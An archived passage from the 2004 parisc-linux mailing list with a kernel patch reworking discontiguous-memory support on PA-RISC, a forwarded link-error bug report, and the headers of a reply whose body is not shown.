	id 81419CD35E; Sun,  4 Jul 2004 11:14:23 -0700 (PDT)
Content-Disposition: inline
In-Reply-To: <40E71F91.2030001@tiscali.be>
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
User-Agent: Mutt/1.5.5.1+cvs20040105i
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21778

> Joel Soete wrote:
> >Sorry for self reply but with "#include <asm/mmzone.h>" that works 
> >better but still failled:
> >arch/parisc/mm/init.c: In function `paging_init':
> >arch/parisc/mm/init.c:793: warning: implicit declaration of function 
> >`node_start_pfn'
> >arch/parisc/mm/init.c:793: error: `PFNNID_SHIFT' undeclared (first use 

sorry about that. try this one instead.

randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


Index: arch/parisc/Kconfig
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/Kconfig,v
retrieving revision 1.19
diff -u -p -r1.19 Kconfig
--- arch/parisc/Kconfig	1 Jul 2004 18:30:36 -0000	1.19
+++ arch/parisc/Kconfig	3 Jul 2004 06:55:49 -0000
@@ -136,6 +136,15 @@ config SMP
 
 	  If you don't know what to do here, say N.
 
+config DISCONTIGMEM
+	bool "Discontiguous memory support (EXPERIMENTAL)"
+	depends on EXPERIMENTAL
+	help
+	  Say Y to support efficient handling of discontiguous physical memory,
+	  for architectures which are either NUMA (Non-Uniform Memory Access)
+	  or have huge holes in the physical address space for other reasons.
+	  See <file:Documentation/vm/numa> for more.
+
 config PREEMPT
 	bool
 #	bool "Preemptible Kernel"
Index: arch/parisc/kernel/cache.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/cache.c,v
retrieving revision 1.17
diff -u -p -r1.17 cache.c
--- arch/parisc/kernel/cache.c	30 May 2004 18:57:23 -0000	1.17
+++ arch/parisc/kernel/cache.c	3 Jul 2004 06:55:49 -0000
@@ -69,7 +69,7 @@ update_mmu_cache(struct vm_area_struct *
 {
 	struct page *page = pte_page(pte);
 
-	if (VALID_PAGE(page) && page_mapping(page) &&
+	if (pfn_valid(page_to_pfn(page)) && page_mapping(page) &&
 	    test_bit(PG_dcache_dirty, &page->flags)) {
 
 		flush_kernel_dcache_page(page_address(page));
Index: arch/parisc/kernel/inventory.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/kernel/inventory.c,v
retrieving revision 1.5
diff -u -p -r1.5 inventory.c
--- arch/parisc/kernel/inventory.c	4 Jun 2004 19:36:53 -0000	1.5
+++ arch/parisc/kernel/inventory.c	4 Jul 2004 17:46:52 -0000
@@ -25,6 +25,7 @@
 #include <linux/mm.h>
 #include <asm/hardware.h>
 #include <asm/io.h>
+#include <asm/mmzone.h>
 #include <asm/pdc.h>
 #include <asm/pdcpat.h>
 #include <asm/processor.h>
Index: arch/parisc/mm/init.c
===================================================================
RCS file: /var/cvs/linux-2.6/arch/parisc/mm/init.c,v
retrieving revision 1.6
diff -u -p -r1.6 init.c
--- arch/parisc/mm/init.c	24 May 2004 00:58:49 -0000	1.6
+++ arch/parisc/mm/init.c	4 Jul 2004 17:45:03 -0000
@@ -5,6 +5,7 @@
  *  Copyright 1999 SuSE GmbH
  *    changed by Philipp Rumpf
  *  Copyright 1999 Philipp Rumpf (prumpf@tux.org)
+ *  Copyright 2004 Randolph Chung (tausq@debian.org)
  *
  */
 
@@ -23,6 +24,7 @@
 #include <asm/pgalloc.h>
 #include <asm/tlb.h>
 #include <asm/pdc_chassis.h>
+#include <asm/mmzone.h>
 
 DEFINE_PER_CPU(struct mmu_gather, mmu_gathers);
 
@@ -32,10 +34,11 @@ extern char _end;	/* end of BSS, defined
 extern char __init_begin, __init_end;
 
 #ifdef CONFIG_DISCONTIGMEM
-struct node_map_data node_data[MAX_PHYSMEM_RANGES];
-bootmem_data_t bmem_data[MAX_PHYSMEM_RANGES];
-unsigned char *chunkmap;
-unsigned int maxchunkmap;
+struct node_map_data node_data[MAX_NUMNODES];
+bootmem_data_t bmem_data[MAX_NUMNODES];
+
+/* Support up to 512GB of physical address space */
+unsigned char pfnnid_map[512];
 #endif
 
 static struct resource data_resource = {
@@ -119,21 +122,6 @@ static void __init setup_bootmem(void)
 
 	disable_sr_hashing(); /* Turn off space register hashing */
 
-#ifdef CONFIG_DISCONTIGMEM
-	/*
-	 * The below is still true as of 2.4.2. If this is ever fixed,
-	 * we can remove this warning!
-	 */
-
-	printk(KERN_WARNING "\n\n");
-	printk(KERN_WARNING "CONFIG_DISCONTIGMEM is enabled, which is probably a mistake. This\n");
-	printk(KERN_WARNING "option can lead to heavy swapping, even when there are gigabytes\n");
-	printk(KERN_WARNING "of free memory.\n\n");
-#endif
-
-#ifdef __LP64__
-
-#ifndef CONFIG_DISCONTIGMEM
 	/*
 	 * Sort the ranges. Since the number of ranges is typically
 	 * small, and performance is not an issue here, just do
@@ -160,11 +148,10 @@ static void __init setup_bootmem(void)
 		}
 	}
 
+#ifndef CONFIG_DISCONTIGMEM
 	/*
 	 * Throw out ranges that are too far apart (controlled by
-	 * MAX_GAP). If CONFIG_DISCONTIGMEM wasn't implemented so
-	 * poorly, we would recommend enabling that option, but,
-	 * until it is fixed, this is the best way to go.
+	 * MAX_GAP).
 	 */
 
 	for (i = 1; i < npmem_ranges; i++) {
@@ -172,6 +159,11 @@ static void __init setup_bootmem(void)
 			(pmem_ranges[i-1].start_pfn +
 			 pmem_ranges[i-1].pages) > MAX_GAP) {
 			npmem_ranges = i;
+			printk("Large gap in memory detected (%ld pages). "
+			       "Consider turning on CONFIG_DISCONTIGMEM\n",
+			       pmem_ranges[i].start_pfn -
+			       (pmem_ranges[i-1].start_pfn +
+			        pmem_ranges[i-1].pages));
 			break;
 		}
 	}
@@ -194,8 +186,6 @@ static void __init setup_bootmem(void)
 		}
 	}
 
-#endif /* __LP64__ */
-
 	sysram_resource_count = npmem_ranges;
 	for (i = 0; i < sysram_resource_count; i++) {
 		struct resource *res = &sysram_resources[i];
@@ -218,6 +208,7 @@ static void __init setup_bootmem(void)
 	mem_limit_func();       /* check for "mem=" argument */
 
 	mem_max = 0;
+	num_physpages = 0;
 	for (i = 0; i < npmem_ranges; i++) {
 		unsigned long rsize;
 
@@ -232,8 +223,10 @@ static void __init setup_bootmem(void)
 				npmem_ranges = i + 1;
 				mem_max = mem_limit;
 			}
+	        num_physpages += pmem_ranges[i].pages;
 			break;
 		}
+	    num_physpages += pmem_ranges[i].pages;
 		mem_max += rsize;
 	}
 
@@ -272,9 +265,13 @@ static void __init setup_bootmem(void)
 	bootmap_start_pfn = PAGE_ALIGN(__pa((unsigned long) &_end)) >> PAGE_SHIFT;
 
 #ifdef CONFIG_DISCONTIGMEM
-	for (i = 0; i < npmem_ranges; i++)
-		node_data[i].pg_data.bdata = &bmem_data[i];
+	for (i = 0; i < MAX_PHYSMEM_RANGES; i++) {
+		memset(NODE_DATA(i), 0, sizeof(pg_data_t));
+		NODE_DATA(i)->bdata = &bmem_data[i];
+	}
+    memset(pfnnid_map, 0xff, sizeof(pfnnid_map));
 #endif
+
 	/*
 	 * Initialize and free the full range of memory in each range.
 	 * Note that the only writing these routines do are to the bootmap,
@@ -443,16 +440,20 @@ unsigned long pcxl_dma_start;
 
 void __init mem_init(void)
 {
-	int i;
-
 	high_memory = __va((max_pfn << PAGE_SHIFT));
-	max_mapnr = (virt_to_page(high_memory - 1) - mem_map) + 1;
 
-	num_physpages = 0;
-	mem_map = zone_table[0]->zone_mem_map;
-	for (i = 0; i < npmem_ranges; i++)
-		num_physpages += free_all_bootmem_node(NODE_DATA(i));
-	totalram_pages = num_physpages;
+#ifndef CONFIG_DISCONTIGMEM
+	max_mapnr = page_to_pfn(virt_to_page(high_memory - 1)) + 1;
+	mem_map = zone_table[ZONE_DMA]->zone_mem_map;
+#endif
+
+#ifndef CONFIG_DISCONTIGMEM
+	free_all_bootmem();
+#else
+	free_all_bootmem_node(NODE_DATA(0));
+#endif
+
+    totalram_pages = num_physpages;
 
 	printk(KERN_INFO "Memory: %luk available\n", num_physpages << (PAGE_SHIFT-10));
 
@@ -485,6 +486,7 @@ void show_mem(void)
 	printk(KERN_INFO "Mem-info:\n");
 	show_free_areas();
 	printk(KERN_INFO "Free swap:	 %6dkB\n",nr_swap_pages<<(PAGE_SHIFT-10));
+#ifndef CONFIG_DISCONTIGMEM
 	i = max_mapnr;
 	while (i-- > 0) {
 		total++;
@@ -497,6 +499,27 @@ void show_mem(void)
 		else
 			shared += page_count(&mem_map[i]) - 1;
 	}
+#else
+    for (i = 0; i < npmem_ranges; i++) {
+        int j;
+
+        for (j = node_start_pfn(i); j < node_end_pfn(i); j++) {
+            struct page *p;
+
+            p = node_mem_map(i) + j - node_start_pfn(i);
+
+			total++;
+			if (PageReserved(p))
+				reserved++;
+			else if (PageSwapCache(p))
+				cached++;
+			else if (!page_count(p))
+				free++;
+			else
+				shared += page_count(p) - 1;
+        }
+    }
+#endif
 	printk(KERN_INFO "%d pages of RAM\n", total);
 	printk(KERN_INFO "%d reserved pages\n", reserved);
 	printk(KERN_INFO "%d pages shared\n", shared);
@@ -757,61 +780,27 @@ void __init paging_init(void)
 	flush_tlb_all_local();
 
 	for (i = 0; i < npmem_ranges; i++) {
-		unsigned long zones_size[MAX_NR_ZONES] = { 0, 0, 0, };
+		unsigned long zones_size[MAX_NR_ZONES] = { 0, 0, 0 };
+
+		/* We have an IOMMU, so all memory can go into a single
+		   ZONE_DMA zone. */
 
 		zones_size[ZONE_DMA] = pmem_ranges[i].pages;
+
 		free_area_init_node(i,NODE_DATA(i),NULL,zones_size,
-				(pmem_ranges[i].start_pfn << PAGE_SHIFT),0);
-	}
+				pmem_ranges[i].start_pfn, 0);
 
 #ifdef CONFIG_DISCONTIGMEM
-	/*
-	 * Initialize support for virt_to_page() macro.
-	 *
-	 * Note that MAX_ADDRESS is the largest virtual address that
-	 * we can map. However, since we map all physical memory into
-	 * the kernel address space, it also has an effect on the maximum
-	 * physical address we can map (MAX_ADDRESS - PAGE_OFFSET).
-	 */
-
-	maxchunkmap = MAX_ADDRESS >> CHUNKSHIFT;
-	chunkmap = (unsigned char *)alloc_bootmem(maxchunkmap);
-
-	for (i = 0; i < maxchunkmap; i++)
-	    chunkmap[i] = BADCHUNK;
-
-	for (i = 0; i < npmem_ranges; i++) {
-
-		ADJ_NODE_MEM_MAP(i) = NODE_MEM_MAP(i) - pmem_ranges[i].start_pfn;
 		{
-			unsigned long chunk_paddr;
-			unsigned long end_paddr;
-			int chunknum;
-
-			chunk_paddr = (pmem_ranges[i].start_pfn << PAGE_SHIFT);
-			end_paddr = chunk_paddr + (pmem_ranges[i].pages << PAGE_SHIFT);
-			chunk_paddr &= CHUNKMASK;
-
-			chunknum = (int)CHUNKNUM(chunk_paddr);
-			while (chunk_paddr < end_paddr) {
-				if (chunknum >= maxchunkmap)
-					goto badchunkmap1;
-				if (chunkmap[chunknum] != BADCHUNK)
-					goto badchunkmap2;
-				chunkmap[chunknum] = (unsigned char)i;
-				chunk_paddr += CHUNKSZ;
-				chunknum++;
-			}
+		    int j;
+		    for (j = (node_start_pfn(i) >> PFNNID_SHIFT);
+			 j < (node_end_pfn(i) >> PFNNID_SHIFT);
+			 j++) {
+			pfnnid_map[j] = i;
+		    }
 		}
-	}
-
-	return;
-
-badchunkmap1:
-	panic("paging_init: Physical address exceeds maximum address space!\n");
-badchunkmap2:
-	panic("paging_init: Collision in chunk map array. CHUNKSZ needs to be smaller\n");
 #endif
+	}
 }
 
 #ifdef CONFIG_PA20
Index: fs/bio.c
===================================================================
RCS file: /var/cvs/linux-2.6/fs/bio.c,v
retrieving revision 1.9
diff -u -p -r1.9 bio.c
--- fs/bio.c	23 May 2004 23:52:39 -0000	1.9
+++ fs/bio.c	3 Jul 2004 06:55:49 -0000
@@ -345,8 +345,8 @@ static int __bio_add_page(request_queue_
 	}
 
 	/* If we may be able to merge these biovecs, force a recount */
-	if(BIOVEC_PHYS_MERGEABLE(bvec-1, bvec) ||
-	   BIOVEC_VIRT_MERGEABLE(bvec-1, bvec))
+	if (bio->bi_vcnt && (BIOVEC_PHYS_MERGEABLE(bvec-1, bvec) ||
+	    BIOVEC_VIRT_MERGEABLE(bvec-1, bvec)))
 		bio->bi_flags &= ~(1 << BIO_SEG_VALID);
 
 	bio->bi_vcnt++;
Index: include/asm-parisc/io.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/io.h,v
retrieving revision 1.7
diff -u -p -r1.7 io.h
--- include/asm-parisc/io.h	10 Mar 2004 19:24:49 -0000	1.7
+++ include/asm-parisc/io.h	3 Jul 2004 06:55:49 -0000
@@ -24,11 +24,6 @@ extern unsigned long parisc_vmerge_max_s
 #define virt_to_bus virt_to_phys
 #define bus_to_virt phys_to_virt
 
-/*
- * Change "struct page" to physical address.
- */
-#define page_to_phys(page)	((page - mem_map) << PAGE_SHIFT)
-
 /* Memory mapped IO */
 
 extern void * __ioremap(unsigned long offset, unsigned long size, unsigned long flags);
Index: include/asm-parisc/mmzone.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/mmzone.h,v
retrieving revision 1.1
diff -u -p -r1.1 mmzone.h
--- include/asm-parisc/mmzone.h	29 Jul 2003 17:02:04 -0000	1.1
+++ include/asm-parisc/mmzone.h	3 Jul 2004 17:48:26 -0000
@@ -1,31 +1,89 @@
 #ifndef _PARISC_MMZONE_H
 #define _PARISC_MMZONE_H
 
+#ifdef CONFIG_DISCONTIGMEM
+
+#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
+extern int npmem_ranges;
+
 struct node_map_data {
     pg_data_t pg_data;
-    struct page *adj_node_mem_map;
 };
 
 extern struct node_map_data node_data[];
-extern unsigned char *chunkmap;
-
-#define BADCHUNK                ((unsigned char)0xff)
-#define CHUNKSZ                 (256*1024*1024)
-#define CHUNKSHIFT              28
-#define CHUNKMASK               (~(CHUNKSZ - 1))
-#define CHUNKNUM(paddr)         ((paddr) >> CHUNKSHIFT)
 
 #define NODE_DATA(nid)          (&node_data[nid].pg_data)
-#define NODE_MEM_MAP(nid)       (NODE_DATA(nid)->node_mem_map)
-#define ADJ_NODE_MEM_MAP(nid)   (node_data[nid].adj_node_mem_map)
-
-#define phys_to_page(paddr) \
-	(ADJ_NODE_MEM_MAP(chunkmap[CHUNKNUM((paddr))]) \
-	+ ((paddr) >> PAGE_SHIFT))
-
-#define virt_to_page(kvaddr) phys_to_page(__pa(kvaddr))
-
-/* This is kind of bogus, need to investigate performance of doing it right */
-#define VALID_PAGE(page)	((page - mem_map) < max_mapnr)
 
-#endif /* !_PARISC_MMZONE_H */
+/*
+ * Given a kernel address, find the home node of the underlying memory.
+ */
+#define kvaddr_to_nid(kaddr)	pfn_to_nid(__pa(kaddr) >> PAGE_SHIFT)
+
+#define node_mem_map(nid)	(NODE_DATA(nid)->node_mem_map)
+#define node_start_pfn(nid)	(NODE_DATA(nid)->node_start_pfn)
+#define node_end_pfn(nid)						\
+({									\
+	pg_data_t *__pgdat = NODE_DATA(nid);				\
+	__pgdat->node_start_pfn + __pgdat->node_spanned_pages;		\
+})
+#define node_localnr(pfn, nid)		((pfn) - node_start_pfn(nid))
+
+#define local_mapnr(kvaddr)						\
+({									\
+	unsigned long __pfn = __pa(kvaddr) >> PAGE_SHIFT;		\
+	(__pfn - node_start_pfn(pfn_to_nid(__pfn)));			\
+})
+
+#define pfn_to_page(pfn)						\
+({									\
+	unsigned long __pfn = (pfn);					\
+	int __node  = pfn_to_nid(__pfn);				\
+	&node_mem_map(__node)[node_localnr(__pfn,__node)];		\
+})
+
+#define page_to_pfn(pg)							\
+({									\
+	struct page *__page = pg;					\
+	struct zone *__zone = page_zone(__page);			\
+	BUG_ON(__zone == NULL);						\
+	(unsigned long)(__page - __zone->zone_mem_map)			\
+		+ __zone->zone_start_pfn;				\
+})
+
+/* We have these possible memory map layouts:
+ * Astro: 0-3.75, 67.75-68, 4-64
+ * zx1: 0-1, 257-260, 4-256
+ * Stretch (N-class): 0-2, 4-32, 34-xxx
+ */
+
+/* Since all the boundaries are on a 1GB-boundary, we can create
+ * an index table for pfn to nid lookup; each entry in pfnnid_map 
+ * represents 1GB, and contains the node that the memory belongs to. */
+
+#define PFNNID_SHIFT (30 - PAGE_SHIFT)
+extern unsigned char pfnnid_map[];
+
+static inline int pfn_to_nid(unsigned long pfn)
+{
+	unsigned int i;
+    unsigned char r;
+    i = pfn >> PFNNID_SHIFT;
+    r = pfnnid_map[i];
+    BUG_ON(r == 0xff);
+
+    return (int)r;
+}
+
+static inline int pfn_valid(int pfn)
+{
+	int nid = pfn_to_nid(pfn);
+
+	if (nid >= 0)
+		return (pfn < node_end_pfn(nid));
+	return 0;
+}
+
+#else /* !CONFIG_DISCONTIGMEM */
+#define MAX_PHYSMEM_RANGES 	1 
+#endif
+#endif /* _PARISC_MMZONE_H */
Index: include/asm-parisc/page.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/page.h,v
retrieving revision 1.9
diff -u -p -r1.9 page.h
--- include/asm-parisc/page.h	5 May 2004 23:02:47 -0000	1.9
+++ include/asm-parisc/page.h	3 Jul 2004 06:55:49 -0000
@@ -83,12 +83,6 @@ extern __inline__ int get_order(unsigned
 	return order;
 }
 
-#ifdef __LP64__
-#define MAX_PHYSMEM_RANGES 8 /* Fix the size for now (current known max is 3) */
-#else
-#define MAX_PHYSMEM_RANGES 1 /* First range is only range that fits in 32 bits */
-#endif
-
 typedef struct __physmem_range {
 	unsigned long start_pfn;
 	unsigned long pages;       /* PAGE_SIZE pages */
@@ -144,15 +138,16 @@ extern int npmem_ranges;
 #define __pa(x)			((unsigned long)(x)-PAGE_OFFSET)
 #define __va(x)			((void *)((unsigned long)(x)+PAGE_OFFSET))
 
+#ifndef CONFIG_DISCONTIGMEM
 #define pfn_to_page(pfn)	(mem_map + (pfn))
 #define page_to_pfn(page)	((unsigned long)((page) - mem_map))
 #define pfn_valid(pfn)		((pfn) < max_mapnr)
+#endif /* CONFIG_DISCONTIGMEM */
+
 #define virt_addr_valid(kaddr)	pfn_valid(__pa(kaddr) >> PAGE_SHIFT)
 
-#ifndef CONFIG_DISCONTIGMEM
-#define virt_to_page(kaddr)     (mem_map + (__pa(kaddr) >> PAGE_SHIFT))
-#define VALID_PAGE(page)	((page - mem_map) < max_mapnr)
-#endif  /* !CONFIG_DISCONTIGMEM */
+#define page_to_phys(page)	(page_to_pfn(page) << PAGE_SHIFT)
+#define virt_to_page(kaddr)     pfn_to_page(__pa(kaddr) >> PAGE_SHIFT)
 
 #define VM_DATA_DEFAULT_FLAGS	(VM_READ | VM_WRITE | VM_EXEC | \
 				 VM_MAYREAD | VM_MAYWRITE | VM_MAYEXEC)
Index: include/asm-parisc/pgtable.h
===================================================================
RCS file: /var/cvs/linux-2.6/include/asm-parisc/pgtable.h,v
retrieving revision 1.13
diff -u -p -r1.13 pgtable.h
--- include/asm-parisc/pgtable.h	1 Jul 2004 20:24:38 -0000	1.13
+++ include/asm-parisc/pgtable.h	3 Jul 2004 06:55:49 -0000
@@ -353,11 +353,7 @@ extern inline pte_t pte_modify(pte_t pte
 
 #define pte_pfn(x) (pte_val(x) >> PAGE_SHIFT)
 
-#ifdef CONFIG_DISCONTIGMEM
-#define pte_page(x) (phys_to_page(pte_val(x)))
-#else
-#define pte_page(x) (mem_map+(pte_val(x) >> PAGE_SHIFT))
-#endif
+#define pte_page(pte)		(pfn_to_page(pte_pfn(pte)))
 
 #define pmd_page_kernel(pmd)	((unsigned long) __va(pmd_val(pmd) & PAGE_MASK))
 
--- include/asm-parisc/numnodes.h	Sat Jul  3 00:55:49 2004
+++ include/asm-parisc/numnodes.h	Sat Jul  3 00:55:49 2004
@@ -0,0 +1,9 @@
+#ifndef _ASM_MAX_NUMNODES_H
+#define _ASM_MAX_NUMNODES_H
+
+#include <linux/config.h>
+
+/* Max 8 Nodes */
+#define NODES_SHIFT	3
+
+#endif /* _ASM_MAX_NUMNODES_H */
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Mike Frysinger <vapier@gentoo.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] linking problem with 2.4.26-p4
Date: Sun, 4 Jul 2004 23:06:48 -0400
Organization: wh0rd.org
Lines: 17
Approved: news@gmane.org
Message-ID: <200407042306.48112.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623491 10093 80.91.229.3 (22 Nov 2014 02:31:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:31 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 23219 invoked by uid 65534); 5 Jul 2004 03:06:44 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx031) with SMTP; 05 Jul 2004 05:06:44 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BC3553BDEA; Sun,  4 Jul 2004 21:06:42 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30318-02; Sun, 4 Jul 2004 21:06:42 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id BA2C33BDF6; Sun,  4 Jul 2004 21:06:28 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 337963BDEA
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jul 2004 21:06:26 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 29734-10 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 4 Jul 2004 21:06:25 -0600 (MDT)
Original-Received: from wh0rd.org (wh0rd.org [212.13.198.204])
	by free.linux.hp.com (Postfix) with ESMTP id AE0403BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jul 2004 21:06:24 -0600 (MDT)
Original-Received: (qmail 24903 invoked from network); 4 Jul 2004 23:06:18 -0400
Original-Received: from localhost (HELO home.wh0rd.org) (127.0.0.1)
	by localhost with AES256-SHA encrypted SMTP; 4 Jul 2004 23:06:18 -0400
Original-Received: (qmail 5378 invoked from network); 5 Jul 2004 05:28:54 -0400
Original-Received: from unknown (HELO vapier) (192.168.0.2)
	by 192.168.0.1 with SMTP; 5 Jul 2004 05:28:54 -0400
User-Agent: KMail/1.6.2
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.4
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p9 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:21779

just forwarding a bug report in the hopes that the peeps who maintain the -pa 
patchsets can fix this properly :)

http://bugs.gentoo.org/show_bug.cgi?id=56087

in some configurations, setting CONFIG_GSC_PS2=n can cause a linking error:
drivers/hil/hil.o(.text.hil:bkd_connect+0x424): In function 'hil_kbd_connect':
: undefined reference to 'register_ps2_keybfuncs'

thanks
-mike
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:32:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@engsoc.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] linking problem with 2.4.26-p4
Date: Sun, 4 Jul 2004 23:05:23 -0400
Lines: 20
Approved: news@gmane.org
Message-ID: <20040705030523.GA6668@engsoc.org>
References: <200407042306.48112.vapier@gentoo.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623491 10096 80.91.229.3 (22 Nov 2014 02:31:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:31:31 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Mike Frysinger <vapier@gentoo.org>
Original-X-From: - Wed Jul 02 21:27:12 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail 6731 invoked by uid 65534); 5 Jul 2004 03:09:05 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) (192.25.206.17)
  by mx0.gmx.net (mx032) with SMTP; 05 Jul 2004 05:09:05 +0200
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 0A6DD3BE06; Sun,  4 Jul 2004 21:08:49 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 30409-04; Sun, 4 Jul 2004 21:08:49 -0600 (MDT)
Original-Received: from free.linux.hp.com (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP
	id 87FDC3BDFE; Sun,  4 Jul 2004 21:08:38 -0600 (MDT)
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 277D53BDED
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jul 2004 21:08:36 -0600 (MDT)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.external.hp.com [127.0.0.1]) (amavisd-new,
	port 10024)
	with ESMTP id 30409-01 for <parisc-linux@lists.parisc-linux.org>;
	Sun, 4 Jul 2004 21:08:35 -0600 (MDT)
Original-Received: from stout.engsoc.org (stout.engsoc.carleton.ca [134.117.69.22])
	by free.linux.hp.com (Postfix) with ESMTP id 9A9263BDCE
	for <parisc-linux@lists.parisc-linux.org>;
	Sun,  4 Jul 2004 21:08:34 -0600 (MDT)
Original-Received: from lager.engsoc.carleton.ca (lager.engsoc.carleton.ca
	[134.117.69.26])
	by stout.engsoc.org (8.12.3/8.12.3/Debian-6.6) with ESMTP id
	i6538fUG029383; Sun, 4 Jul 2004 23:08:41 -0400
Original-Received: from kyle by lager.engsoc.carleton.ca with local (Exim 3.36 #1
	(Debian)) id 1BhJnH-00020q-00; Sun, 04 Jul 2004 23:05:23 -0400
Content-Disposition: inline
In-Reply-To: <200407042306.48112.vapier@gentoo.org>
